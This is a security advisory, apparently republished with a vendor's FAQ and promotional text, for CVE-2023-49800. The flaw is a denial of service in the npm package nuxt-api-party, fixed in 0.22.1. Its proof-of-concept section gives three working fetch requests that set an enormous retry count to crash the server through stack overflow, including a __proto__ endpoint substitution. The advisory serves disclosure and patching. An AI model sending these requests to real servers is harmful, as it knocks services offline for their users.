Summary
DOS by abusing fetchOptions.retry.
nuxt-api-party allows developers to proxy requests to an API without exposing credentials to the client. ofetch is used to send the requests.
The library allows the user to send many options directly to ofetch. There is no filter on which options are available. We can abuse the retry logic to cause the server to crash from a stack overflow.
Details
fetchOptions are obtained directly from the request body. These are then passed directly into ofetch
.
We can construct a URL we know will not fetch successfully, then set the retry attempts to a high value, this will cause a stack overflow as ofetch error handling works recursively.
PoC
POC using Node.
await fetch("http://localhost:3000/api/__api_party/MyEndpoint", {
method: "POST",
body: JSON.stringify({ path: "x:x", retry: 9999999 }),
headers: { "Content-Type": "application/json" }
})
We can use __proto__ as a substitute for the endpoint if it is not known.
await fetch("http://localhost:3000/api/__api_party/__proto__", {
method: "POST",
body: JSON.stringify({ path: "x:x", retry: 9999999 }),
headers: { "Content-Type": "application/json" }
})
We can build the size of the stack faster by using more complicated URIs
await fetch("http://localhost:3000/api/__api_party/__proto__", {
method: "POST",
body: JSON.stringify({ path: "data:x;base64,----", retry: 9999999 }),
headers: { "Content-Type": "application/json" }
})
Impact
Full DOS, server is unusable during attack. Requires a single request.
Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.
CVE-2023-49800 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.22.1); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Limit which options can be passed to ofetch.
Frequently Asked Questions
- What is CVE-2023-49800? CVE-2023-49800 is a high-severity uncontrolled resource consumption vulnerability in nuxt-api-party (npm), affecting versions < 0.22.1. It is fixed in 0.22.1. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
- How severe is CVE-2023-49800? CVE-2023-49800 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of nuxt-api-party are affected by CVE-2023-49800? nuxt-api-party (npm) versions < 0.22.1 is affected.
- Is there a fix for CVE-2023-49800? Yes. CVE-2023-49800 is fixed in 0.22.1. Upgrade to this version or later.
- Is CVE-2023-49800 exploitable, and should I be worried? Whether CVE-2023-49800 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2023-49800 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2023-49800? Upgrade
nuxt-api-partyto 0.22.1 or later.